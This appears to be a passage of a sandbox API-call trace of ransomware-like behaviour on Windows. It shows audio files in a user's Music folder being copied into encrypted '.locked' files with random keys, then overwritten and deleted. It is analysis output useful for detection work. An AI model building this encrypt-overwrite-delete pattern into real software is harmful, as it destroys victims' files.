	[0077.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\FojActhCIE.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\fojacthcie.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.386] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.387] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0077.387] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796380 | out: pbBuffer=0x12796380) returned 1
	[0077.387] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.387] WriteFile (in: hFile=0xc4, lpBuffer=0x12799000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x12799000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.389] SetEvent (hEvent=0x80) returned 1
	[0077.389] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x11493, lpOverlapped=0x0) returned 1
	[0077.391] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x11493, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x11493, lpOverlapped=0x0) returned 1
	[0077.392] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.392] CloseHandle (hObject=0xc4) returned 1
	[0077.392] CloseHandle (hObject=0xc0) returned 1
	[0077.393] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.393] SetEvent (hEvent=0x80) returned 1
	[0077.393] SetEvent (hEvent=0x8c) returned 1
	[0077.393] SetEvent (hEvent=0xb4) returned 1
	[0077.393] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.394] SetEvent (hEvent=0xb4) returned 1
	[0077.394] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee774*=0x5d) returned 1
	[0077.395] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\FojActhCIE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\fojacthcie.wav")) returned 1
	[0077.414] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.414] SetEvent (hEvent=0xa8) returned 1
	[0077.414] SetEvent (hEvent=0x8c) returned 1
	[0077.418] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.419] SetEvent (hEvent=0x8c) returned 1
	[0077.419] SetEvent (hEvent=0xb4) returned 1
	[0077.419] SetEvent (hEvent=0x80) returned 1
	[0077.419] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.419] SetEvent (hEvent=0x80) returned 1
	[0077.421] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.421] SetEvent (hEvent=0x80) returned 1
	[0077.421] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.421] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.422] SetEvent (hEvent=0x80) returned 1
	[0077.422] SetEvent (hEvent=0xb4) returned 1
	[0077.422] SetEvent (hEvent=0x8c) returned 1
	[0077.422] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.422] SetEvent (hEvent=0x8c) returned 1
	[0077.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\FojActhCIE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\fojacthcie.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.423] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.423] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.439] CloseHandle (hObject=0xc0) returned 1
	[0077.439] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\FojActhCIE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\fojacthcie.wav")) returned 1
	[0077.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\O-jbYjFbr99tjEN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\o-jbyjfbr99tjen.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17f8a360, ftCreationTime.dwHighDateTime=0x1d4d5b3, ftLastAccessTime.dwLowDateTime=0x4cb08080, ftLastAccessTime.dwHighDateTime=0x1d4ccf0, ftLastWriteTime.dwLowDateTime=0x4cb08080, ftLastWriteTime.dwHighDateTime=0x1d4ccf0, nFileSizeHigh=0x0, nFileSizeLow=0x13230)) returned 1
	[0077.442] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\O-jbYjFbr99tjEN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\o-jbyjfbr99tjen.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.442] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\O-jbYjFbr99tjEN.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\o-jbyjfbr99tjen.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.443] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.443] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.443] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796150 | out: pbBuffer=0x12796150) returned 1
	[0077.443] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.443] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.445] SetEvent (hEvent=0xb4) returned 1
	[0077.445] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x13230, lpOverlapped=0x0) returned 1
	[0077.448] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x13230, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x13230, lpOverlapped=0x0) returned 1
	[0077.449] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.449] CloseHandle (hObject=0xc4) returned 1
	[0077.449] CloseHandle (hObject=0xc0) returned 1
	[0077.450] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.450] SetEvent (hEvent=0xb4) returned 1
	[0077.450] SetEvent (hEvent=0x8c) returned 1
	[0077.450] SetEvent (hEvent=0x80) returned 1
	[0077.450] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.451] SetEvent (hEvent=0xa8) returned 1
	[0077.451] SetEvent (hEvent=0x80) returned 1
	[0077.451] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1240a000*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x1240a000*, lpNumberOfCharsWritten=0x127ee774*=0x62) returned 1
	[0077.453] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\O-jbYjFbr99tjEN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\o-jbyjfbr99tjen.wav")) returned 1
	[0077.470] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.471] SetEvent (hEvent=0xa8) returned 1
	[0077.471] SetEvent (hEvent=0x8c) returned 1
	[0077.475] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.476] SetEvent (hEvent=0x8c) returned 1
	[0077.476] SetEvent (hEvent=0x80) returned 1
	[0077.476] SetEvent (hEvent=0xb4) returned 1
	[0077.476] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.476] SetEvent (hEvent=0xb4) returned 1
	[0077.478] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.478] SetEvent (hEvent=0xb4) returned 1
	[0077.478] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.478] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.479] SetEvent (hEvent=0xb4) returned 1
	[0077.479] SetEvent (hEvent=0x80) returned 1
	[0077.479] SetEvent (hEvent=0x8c) returned 1
	[0077.479] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.479] SetEvent (hEvent=0x8c) returned 1
	[0077.479] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\O-jbYjFbr99tjEN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\o-jbyjfbr99tjen.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.480] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.480] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.496] CloseHandle (hObject=0xc0) returned 1
	[0077.496] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\O-jbYjFbr99tjEN.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\o-jbyjfbr99tjen.wav")) returned 1
	[0077.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\cO0f.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\co0f.wav"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fe61450, ftCreationTime.dwHighDateTime=0x1d4c8a3, ftLastAccessTime.dwLowDateTime=0x1b526ce0, ftLastAccessTime.dwHighDateTime=0x1d4c635, ftLastWriteTime.dwLowDateTime=0x1b526ce0, ftLastWriteTime.dwHighDateTime=0x1d4c635, nFileSizeHigh=0x0, nFileSizeLow=0x180e3)) returned 1
	[0077.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\cO0f.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\co0f.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.499] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\cO0f.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\co0f.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.500] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.500] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.500] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796150 | out: pbBuffer=0x12796150) returned 1
	[0077.500] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.500] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.502] SetEvent (hEvent=0x80) returned 1
	[0077.502] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x180e3, lpOverlapped=0x0) returned 1
	[0077.505] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x180e3, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x180e3, lpOverlapped=0x0) returned 1
	[0077.507] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.507] CloseHandle (hObject=0xc4) returned 1
	[0077.507] CloseHandle (hObject=0xc0) returned 1
	[0077.507] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.507] SetEvent (hEvent=0x80) returned 1
	[0077.508] SetEvent (hEvent=0x8c) returned 1
	[0077.508] SetEvent (hEvent=0xb4) returned 1
	[0077.508] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.508] SetEvent (hEvent=0xa8) returned 1
	[0077.508] SetEvent (hEvent=0xb4) returned 1
	[0077.508] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee774*=0x57) returned 1
	[0077.510] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\cO0f.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\co0f.wav")) returned 1
	[0077.528] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.528] SetEvent (hEvent=0xa8) returned 1
	[0077.528] SetEvent (hEvent=0x8c) returned 1
	[0077.532] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.533] SetEvent (hEvent=0x8c) returned 1
	[0077.533] SetEvent (hEvent=0xb4) returned 1
	[0077.533] SetEvent (hEvent=0x80) returned 1
	[0077.533] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.533] SetEvent (hEvent=0x80) returned 1
	[0077.535] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.535] SetEvent (hEvent=0x80) returned 1
	[0077.535] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.536] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.536] SetEvent (hEvent=0x80) returned 1
	[0077.536] SetEvent (hEvent=0xb4) returned 1
	[0077.536] SetEvent (hEvent=0x8c) returned 1
	[0077.536] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.536] SetEvent (hEvent=0x8c) returned 1
	[0077.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\cO0f.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\co0f.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.537] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.537] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.553] CloseHandle (hObject=0xc0) returned 1
	[0077.553] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\cO0f.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\co0f.wav")) returned 1
	[0077.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\hQ_CmjzW6h4E2RX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\hq_cmjzw6h4e2rx.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7427b5b0, ftCreationTime.dwHighDateTime=0x1d4c5bc, ftLastAccessTime.dwLowDateTime=0x9d8d25a0, ftLastAccessTime.dwHighDateTime=0x1d4ce47, ftLastWriteTime.dwLowDateTime=0x9d8d25a0, ftLastWriteTime.dwHighDateTime=0x1d4ce47, nFileSizeHigh=0x0, nFileSizeLow=0x15dfa)) returned 1
	[0077.556] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\hQ_CmjzW6h4E2RX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\hq_cmjzw6h4e2rx.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.556] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\hQ_CmjzW6h4E2RX.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\hq_cmjzw6h4e2rx.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.557] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeae4 | out: lpMode=0x127eeae4) returned 0
	[0077.557] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3a0 | out: pbBuffer=0x1238c3a0) returned 1
	[0077.557] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796150 | out: pbBuffer=0x12796150) returned 1
	[0077.557] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.557] WriteFile (in: hFile=0xc4, lpBuffer=0x12799000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeac0, lpOverlapped=0x0 | out: lpBuffer=0x12799000*, lpNumberOfBytesWritten=0x127eeac0*=0x80, lpOverlapped=0x0) returned 1
	[0077.560] SetEvent (hEvent=0xb4) returned 1
	[0077.560] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x15dfa, lpOverlapped=0x0) returned 1
	[0077.562] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x15dfa, lpNumberOfBytesWritten=0x127eeabc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeabc*=0x15dfa, lpOverlapped=0x0) returned 1
	[0077.563] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeab0, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeab0*=0x0, lpOverlapped=0x0) returned 1
	[0077.564] CloseHandle (hObject=0xc4) returned 1
	[0077.564] CloseHandle (hObject=0xc0) returned 1
	[0077.564] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.564] SetEvent (hEvent=0xb4) returned 1
	[0077.564] SetEvent (hEvent=0x8c) returned 1
	[0077.564] SetEvent (hEvent=0x80) returned 1
	[0077.564] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.565] SetEvent (hEvent=0xa8) returned 1
	[0077.565] SetEvent (hEvent=0x80) returned 1
	[0077.565] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12408000*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x127ee774, lpReserved=0x0 | out: lpBuffer=0x12408000*, lpNumberOfCharsWritten=0x127ee774*=0x62) returned 1
	[0077.567] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\hQ_CmjzW6h4E2RX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\hq_cmjzw6h4e2rx.mp3")) returned 1
	[0077.584] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.585] SetEvent (hEvent=0xa8) returned 1
	[0077.585] SetEvent (hEvent=0x8c) returned 1
	[0077.589] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.589] SetEvent (hEvent=0x8c) returned 1
	[0077.589] SetEvent (hEvent=0x80) returned 1
	[0077.590] SetEvent (hEvent=0xb4) returned 1
	[0077.590] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.590] SetEvent (hEvent=0xb4) returned 1
	[0077.591] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.592] SetEvent (hEvent=0xb4) returned 1
	[0077.592] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.592] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.592] SetEvent (hEvent=0xb4) returned 1
	[0077.592] SetEvent (hEvent=0x80) returned 1
	[0077.592] SetEvent (hEvent=0x8c) returned 1
	[0077.593] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.593] SetEvent (hEvent=0x8c) returned 1
	[0077.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\hQ_CmjzW6h4E2RX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\hq_cmjzw6h4e2rx.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.593] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
